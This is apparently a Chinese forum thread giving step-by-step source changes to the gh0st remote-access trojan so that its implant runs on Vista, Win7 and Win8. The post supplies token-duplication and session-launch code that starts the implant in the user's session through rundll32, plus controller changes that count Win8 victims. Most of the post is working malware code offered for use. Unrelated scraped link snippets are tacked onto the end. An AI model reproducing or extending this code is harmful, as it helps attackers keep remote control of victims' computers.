打开server的until.cpp文件.在最后面#endif的上面加上下列代码

DWORD _stdcall LaunchAppIntoDifferentSession( LPTSTR lpCommand )
    {
    DWORD dwRet = 0;
    PROCESS_INFORMATION pi;
    STARTUPINFO si;
    DWORD dwSessionId;
    HANDLE hUserToken = NULL;
    HANDLE hUserTokenDup = NULL;
    HANDLE hPToken = NULL;
    HANDLE hProcess = NULL;
    DWORD dwCreationFlags;

HMODULE hInstKernel32 = NULL;
    typedef DWORD (WINAPI *WTSGetActiveConsoleSessionIdPROC)();
    WTSGetActiveConsoleSessionIdPROC WTSGetActiveConsoleSessionId = NULL;

hInstKernel32 = LoadLibrary("Kernel32.dll");

if (!hInstKernel32)
    {
    return FALSE;
    }

WTSGetActiveConsoleSessionId = (WTSGetActiveConsoleSessionIdPROC)GetProcAddress(hInstKernel32,"WTSGetActiveConsoleSessionId");

// Log the client on to the local computer.
    dwSessionId = WTSGetActiveConsoleSessionId();

do
    {
    WTSQueryUserToken( dwSessionId,&hUserToken );
    dwCreationFlags = NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE;
    ZeroMemory( &si, sizeof( STARTUPINFO ) );
    si.cb= sizeof( STARTUPINFO );
    si.lpDesktop = "winsta0\\default";
    ZeroMemory( &pi, sizeof(pi) );
    TOKEN_PRIVILEGES tp;
    LUID luid;

if( !::OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY
    | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_ADJUST_SESSIONID
    | TOKEN_READ | TOKEN_WRITE, &hPToken ) )
    {
    dwRet = GetLastError();
    break;
    }
    else;

if ( !LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &luid ) )
    {
    dwRet = GetLastError();
    break;
    }
    else;
    tp.PrivilegeCount =1;
    tp.Privileges[0].Luid =luid;
    tp.Privileges[0].Attributes =SE_PRIVILEGE_ENABLED;

if( !DuplicateTokenEx( hPToken, MAXIMUM_ALLOWED, NULL, SecurityIdentification, TokenPrimary, &hUserTokenDup ) )
    {
    dwRet = GetLastError();
    break;
    }
    else;

//Adjust Token privilege
    if( !SetTokenInformation( hUserTokenDup,TokenSessionId,(void*)&dwSessionId,sizeof(DWORD) ) )
    {
    dwRet = GetLastError();
    break;
    }
    else;

if( !AdjustTokenPrivileges( hUserTokenDup, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, NULL ) )
    {
    dwRet = GetLastError();
    break;
    }
    else;

LPVOID pEnv =NULL;

DWORD (__stdcall *CreateEnvironmentBlock)( LPVOID *, HANDLE, BOOL );
    CreateEnvironmentBlock = (DWORD (__stdcall *)(LPVOID *, HANDLE,BOOL))GetProcAddress( LoadLibrary("UserEnv.dll"), "CreateEnvironmentBlock" );
    if (!CreateEnvironmentBlock) break;

if( CreateEnvironmentBlock( &pEnv, hUserTokenDup, TRUE ) )
    {
    dwCreationFlags|=CREATE_UNICODE_ENVIRONMENT;
    }
    else pEnv=NULL;

// Launch the process in the client's logon session.
    if( CreateProcessAsUser( hUserTokenDup, // client's access token
    NULL, // file to execute
    lpCommand, // command line
    NULL, // pointer to process SECURITY_ATTRIBUTES
    NULL, // pointer to thread SECURITY_ATTRIBUTES
    FALSE, // handles are not inheritable
    dwCreationFlags,// creation flags
    pEnv, // pointer to new environment block
    NULL, // name of current directory
    &si, // pointer to STARTUPINFO structure
    &pi // receives information about new process
    ) )
    {
    }
    else
    {
    dwRet = GetLastError();
    break;
    }
    }
    while( 0 );

//Perform All the Close Handles task
    if( NULL != hUserToken )
    {
    CloseHandle( hUserToken );
    }
    else;

if( NULL != hUserTokenDup)
    {
    CloseHandle( hUserTokenDup );
    }
    else;
    if( NULL != hPToken )
    {
    CloseHandle( hPToken );
    }
    else;
    return dwRet;
    }

然后打开until.h 同样在最后面的#endif上面加上

DWORD _stdcall LaunchAppIntoDifferentSession( LPTSTR lpCommand );

然后打开svchost.cpp

搜索extern "C" __declspec(dllexport) void ServiceMain( int argc, wchar_t* argv[] )

在上面加上

extern "C" __declspec(dllexport) void XiaoDeBu(HWND hwnd, HINSTANCE hinst, LPTSTR lpCmdLine, int nCmdShow )
    {
    main(lpCmdLine);
    }

搜索g_dwServiceType = QueryServiceTypeFromRegedit(svcname);在下面加上

HANDLE hThread = NULL;
    OSVERSIONINFO OsVerInfoEx;
    OsVerInfoEx.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
    GetVersionEx(&OsVerInfoEx);
    if ( OsVerInfoEx.dwMajorVersion < 6 )//判断那种系统,如果小于6,直接用原来的代码
    {
    HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)svcname, 0, NULL);
    }
    else
    {
    CHAR lpCommand[256];
    CHAR Start[MAX_PATH];
    GetModuleFileName(CKeyboardManager::g_hInstance,Start,sizeof(Start));
    wsprintf(lpCommand,"rundll32.exe %s, XiaoDeBu %s",Start, svcname );
    LaunchAppIntoDifferentSession(lpCommand);
    }

然后把HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)svcname, 0, NULL);这句注释掉.

 
回复 支持 反对

举报

   
lookmeng

3#

 发表于 2012-12-21 19:14:16 | 只看该作者

上面是win7和VISTA的,下面是win8的:
gh0st支持windows8完美上线
大家都知道windows8出来了吧?就在昨天,这时候我想也是菜鸟最头痛的时候,因为你们知道不知道怎么让GH0ST能够在win8下正常操作呢?下面我们来做详细的介绍。
首先我们打开控制端说下需要修改的地方
PcView.cpp、ShowNum.cpp
这是2个需要修改的文件
我们先看下主控端
ghst修改系列

修改完毕后在PcView.cpp文件夹搜索“g_pNumDlg->SetNum(IDC_WIN_2000, g_pNumDlg->Win2000);”在下面添加

if ( LoginInfo->OsVerInfoEx.dwMajorVersion == 6 && LoginInfo->OsVerInfoEx.dwMinorVersion == 2 )
   {
    pszOS = _T("win8");
    g_pNumDlg->Win8++;
    g_pNumDlg->SetNum(IDC_WIN_8, g_pNumDlg->Win8);
   }

gh0st修改支持win8

搜索“g_pNumDlg->SetNum( IDC_WIN_2008, g_pNumDlg->Win2008 );”
在下面添加:
if ( strLogText.Find("Win8") != -1 )
     {
      g_pNumDlg->Win8--;
      g_pNumDlg->SetNum( IDC_WIN_8, g_pNumDlg->Win8 );
     }

搜索:g_pNumDlg->SetNum( IDC_WIN_2008, g_pNumDlg->Win2008 );
添加:
if ( strLogText.Find("win8") != -1 )
  {
   g_pNumDlg->Win8--;
   g_pNumDlg->SetNum( IDC_WIN_8, g_pNumDlg->Win8 );
  }

这段代码有3遍哦

搜索:if ( strLogText.Find("2008") != -1 )

添加:
if ( strLogText.Find("win8") != -1 )
  {
   g_pNumDlg->Win8--;
   g_pNumDlg->SetNum( IDC_WIN_8, g_pNumDlg->Win8 );
  }

下面开始是ShowNum.cpp文件
搜索:Win2008 = 0;
添加:
Win8 = 0;

gh0st修改支持win8
搜索:SetDlgItemInt(IDC_WIN_2008, Win2008, FALSE);
添加:
SetDlgItemInt(IDC_WIN_8, Win8, FALSE);

gh0st修改支持win8
搜索:int Win7;
添加
int Win8;

gh0st修改支持win8

哈哈这样我们就大功告成了!怎么样大家开心吧!赶紧去测试下吧!

gh0st支持win7和win8相关推荐

  1. WiFi共享专家(支持Win7、Win8操作系统)wifi共享软件

    软件类型:国产软件授权方式:共享软件界面语言:简体中文软件大小:587 MB文件类型:.exe运行环境:Win2003,WinXP,Win2000,Win9X软件等级:★★★☆☆发布时间:2013-0 ...

  2. PB获取系统版本号, 支持win7, win8,win10

    API函数调用: Function boolean RtlGetNtVersionNumbers (Ref long Major, Ref long Minor,  ref long Optional ...

  3. 烂泥:IE6绿色中文版,支持在Win7、Win8下完美运行

    本文由0度户外提供友情赞助,首发于烂泥行天下. 虽然IE6发布已经10年了,但是根据最新浏览器统计数据显示,还是有很多人在继续使用IE6,特别是在国内使用IE6的人还有占有13%左右. 由于IE6只能 ...

  4. IE6绿色中文版,支持在Win7、Win8下完美运行

    虽然IE6发布已经10年了,但是根据最新浏览器统计数据显示,还是有很多人在继续使用IE6,特别是在国内使用IE6的人还有占有13%左右. 由于IE6只能支持在XP系统下运行,现在大部分开发人员都已经使 ...

  5. vc6.0(完整绿色版)(支持XP、Win7、Win8、Win10)

    含以下四个文件: vc6.0_cn_full(完整绿色版)(支持XP.Win7.Win8.Win10) Visual C++ 6.0 精简绿色英文版(16M)win10可用 VC6创天中文免安装版 V ...

  6. css3 仿aero,让Qt支持Win7的Aero和毛玻璃效果

    Qt5增加了许多特性,其中 Qt Windows Extras 模块就增加了对Win7 Aero 效果的支持. 官网的介绍如下: Qt Windows Extras provide classes a ...

  7. 微软终止支持Win7 但系统仍然可正常使用

    Win7,寿终正寝了. 从昨天(1月14号)开始,微软官方正式停止支持Win7,不会提供安全补丁或者更新服务.不过,对于仍在付费的企业用户,微软仍将继续提供Win7更新服务,个人用户则不行. 这并不意 ...

  8. 支持WIN7的VSCode版本

    我有台13年底买的电脑,装的WIN7,使用时发现,最新的VSCode已经不支持WIN7,目前VSCode官网上写的最低支持WIN8. 经过确认,最后支持WIN7的版本是1.70.3,不论32位还是64 ...

  9. win7字体_微软将终止支持win7,为什么现在还有很多人不肯升级到win10呢?

    在中国发展高层论坛上,李彦宏曾表示中国用户更加开放,对隐私问题没那么敏感,在很多情况下愿意用隐私交换便捷性和效率.从某种程度上来讲,这也反映了中国用户对升级到win10的态度.何出此言呢? 在&quo ...

最新文章

  1. 分享Kali Linux 2017年第29周镜像文件
  2. CocoaPods详解之----使用篇
  3. 使用Intellij Idea 创建一个Web项目!
  4. 解决nginx不支持pathinfo Thinkphp命名空间问题
  5. Python自然语言处理学习笔记(45):5.6 基于转换的标记
  6. Packet Voice Modeling 语音包模型
  7. RK3288 Android5.1 串口接收数据不是一次性收到问题
  8. 电子游戏设计与制作 第一章 计算机游戏概述
  9. OpenJ_Bailian - 4104 G - 单词翻转
  10. 内网 centos7 离线安装rpm包的三种方法
  11. 将大写字母转化为小写字母
  12. 塔科玛校区的计算机教育,华盛顿大学塔科马校区申请难度
  13. 校园、同城二手交易信息小程序 毕业设计毕业论文 开题报告和效果图参考(基于微信小程序毕业设计题目选题课题)
  14. PEP8 - Python 代码风格指南中英对照
  15. 2600万TRX被盗背后的罗生门
  16. 黑客攻防(一)网站信息收集
  17. 卷积神经网络(CNN)(下)
  18. R语言Copula的贝叶斯非参数估计
  19. 面积与弦长_Simplelife_新浪博客
  20. 基于Python知乎回答爬虫 +jieba关键字统计可视化

热门文章

  1. 文件系统对性能的影响
  2. 桥接模式源码解析(jdk)
  3. 原型模式coding-克隆破坏单例
  4. 纽约州立大学宾汉姆顿大学计算机科学,C同学喜获纽约州立大学宾汉姆顿大学硕士录取...
  5. sdram 时钟相位_stm32f429主频大于160MHz时,sdram数据不稳定
  6. 解决MySQL删除外键时报错Error Code: 1091. Can‘t DROP ‘XXX‘; check that column/key exists
  7. 解决Tomcat下IntelliJ IDEA报错java.lang.NoClassDefFoundError: javax/servlet/ServletContextListener
  8. 动态数组vector
  9. 实践 | 不同行业WMS选型策略及需要注意的一些问题
  10. Rafy 框架-发布网页版用户手册